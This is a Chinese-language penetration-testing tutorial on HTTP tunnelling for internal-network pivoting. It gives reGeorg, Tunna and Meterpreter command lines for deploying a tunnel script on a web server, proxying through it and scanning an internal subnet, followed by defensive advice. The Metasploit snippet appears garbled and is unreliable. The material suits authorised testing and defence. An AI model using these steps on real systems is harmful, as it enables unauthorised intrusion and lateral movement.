内网穿透利器:基于HTTP/HTTPS隧道的代理工具深度解析
一、引言
在渗透测试和内网渗透中,HTTP/HTTPS隧道技术是突破网络边界的关键手段。它通过将TCP流量封装在HTTP协议中,穿透防火墙/NACL策略,实现内网横向移动。本文以reGeorg为核心,结合Meterpreter、Tunna等工具,深入解析其原理与实践。
二、核心工具解析
-
reGeorg
-
原理:在目标服务器部署隧道脚本(如tunnel.jsp),将本地SOCKS代理流量转发到内网。
-
优势:支持多种Web语言(PHP/JSP/ASPX)、低权限运行、流量伪装。
-
命令示例:
bashpython reGeorgSocksProxy.py -u http://192.168.1.149:8080/tunnel.jsp -p 9999
-u
: 隧道脚本URL-p
: 本地SOCKS代理端口
-
-
Meterpreter (Metasploit)
-
使用
portfwd
模块建立反向隧道:msfuse post/windows/manage/portfw set LPORT 8888 set RHOST 10.1.1.100 run
-
-
Tunna
-
通过单个HTTP连接实现端口转发:
bashpython proxy.py -u http://victim.com/conn.aspx -l 8000 -r 3389
-
三、操作流程详解(以reGeorg为例)
-
上传隧道脚本
- 将
tunnel.jsp
上传至可访问的Web目录(如Tomcat的/webapps/ROOT
)。
- 将
-
启动本地SOCKS代理
bashpython reGeorgSocksProxy.py -u http://192.168.1.149:8080/tunnel.jsp -p 9999
-
配置应用流量转发
-
修改浏览器或Proxychains的代理设置:
ini# /etc/proxychains.conf socks5 127.0.0.1 9999
-
-
访问内网资源
bashproxychains nmap -sT -Pn 10.1.1.0/24
四、网络拓扑与数据流向
- 连接本地代理 2. HTTP封装请求 3. 解密转发 4. 返回响应 5. HTTP封装响应 6. 返回数据 攻击者 Local SOCKS:9999 Web服务器:8080/tunnel.jsp 内网主机:3389/SSH/数据库
拓扑说明:
- 攻击者通过SOCKS代理发送请求
- reGeorg客户端将TCP流量转为HTTP POST请求
- 目标Web服务器的隧道脚本解析并转发至内网
- 内网服务响应经原路径返回
五、防御建议
- 入侵检测
- 监控异常HTTP长连接(如持续POST请求)
- 分析Web日志中的固定URI访问(如
/tunnel.*
)
- 权限控制
- Web服务器遵循最小权限原则
- 禁用不必要的脚本执行功能
- 网络隔离
- 限制Web服务器出站流量(仅允许访问必需资源)
- 部署WAF识别加密隧道流量
六、总结
HTTP/HTTPS隧道是内网渗透的"隐形桥梁",reGeorg因其轻量化和兼容性成为首选。防御方需结合流量审计与主机加固,实现纵深防御。技术本身无善恶,请遵守**《网络安全法》** ,所有测试需获得授权!
附录:工具链接
版权声明:本文仅用于技术交流,未经授权禁止用于非法用途。